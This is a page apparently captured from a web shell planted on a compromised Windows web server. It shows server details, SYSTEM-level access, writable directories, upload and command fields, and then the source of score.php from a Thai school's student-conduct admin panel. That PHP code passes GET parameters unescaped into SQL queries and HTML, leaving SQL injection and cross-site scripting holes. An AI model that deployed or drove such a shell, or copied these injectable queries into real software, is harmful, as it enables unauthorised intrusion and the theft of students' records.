403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/edu2018/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/edu2018/admin/score.php
<?php
$code = $_GET['code'];
$idcat = $_GET['idcat'];
$update = $_GET['update'];
?>
<?php 
$sql27= $mysqli->query("SELECT * FROM student where code='$code'");
$Row27 = mysqli_fetch_array($sql27);
$sql28= $mysqli->query("SELECT * FROM catscore where Id='$idcat'");
$Row28 = mysqli_fetch_array($sql28);
?>
	
       <section class="content-header">
      <h1>
        พฤติกรรมนักเรียน
        <small>Version 2.0</small>
      </h1>
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Dashboard</li>
      </ol>
    </section> 	
  <section class="content">
           <div class="box">

            <div class="box-header">
              <h3 class="box-title">บันทึกเหตุการณ์ <?php if($Row28['status']=="add"){ echo "เพิ่มคะแนนความประพฤติ";}else{ echo "ตัดคะแนนความประพฤติ";}?> </h3>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
		<div class="col-sm-2">
	  <?php
if ($Row27['pic']=="") {
?>
<img src="../img/no-image.png" class="img-thumbnail" alt=" " width="200" height="220"><br>
<div align="center"><?=$Row27["prefix"];?><?=$Row27["name"];?>  <?=$Row27["sname"];?><br><?=$Row27["class"];?></div>
<?php
}else {
?>
<img src="../student/photo/<?=$Row27['pic'];?>" class="img-thumbnail" alt="<?=$Row27['code'];?>" width="200" height="220"><br>
<div align="center"><?=$Row27["prefix"];?><?=$Row27["name"];?>  <?=$Row27["sname"];?><br><?=$Row27["class"];?></div>
<?php
}
?>		
		</div>
		<div class="col-sm-8">
		<form action="index.php?dash=<?=md5("6");?>&update=adduscore&code=<?=$code;?>&idcat=<?=$idcat;?>" method="post" enctype="multipart/form-data" name="Frm" >
<div class="form-group">
  <label for="comment">บันทึกเหตุการณ์: <?=$Row28["title"];?> <?php if($Row28['status']=="add"){ echo "เพิ่มคะแนนความประพฤติ";}else{ echo "ตัดคะแนนความประพฤติ";}?> <?=$Row28["score"];?>คะแนน</label>
  <textarea class="form-control" rows="5" name="detail" required></textarea>
</div>
		  <div class="modal-footer">
		  <a href="index.php?dash=<?=md5("16");?>&op=spread&m=7" class="btn btn-default" role="button">ยกเลิก</a>
		  <button id="tag-form-submit" type="submit" class="btn btn-danger" value="Add Tag">บันทึก</button>
        </div>	
		</form>
		</div>
		<div class="col-sm-2">
		</div>	
            </div>
            <!-- /.box-body -->
          </div>			

   </section>

Youez - 2016 - github.com/yon3zu
LinuXploit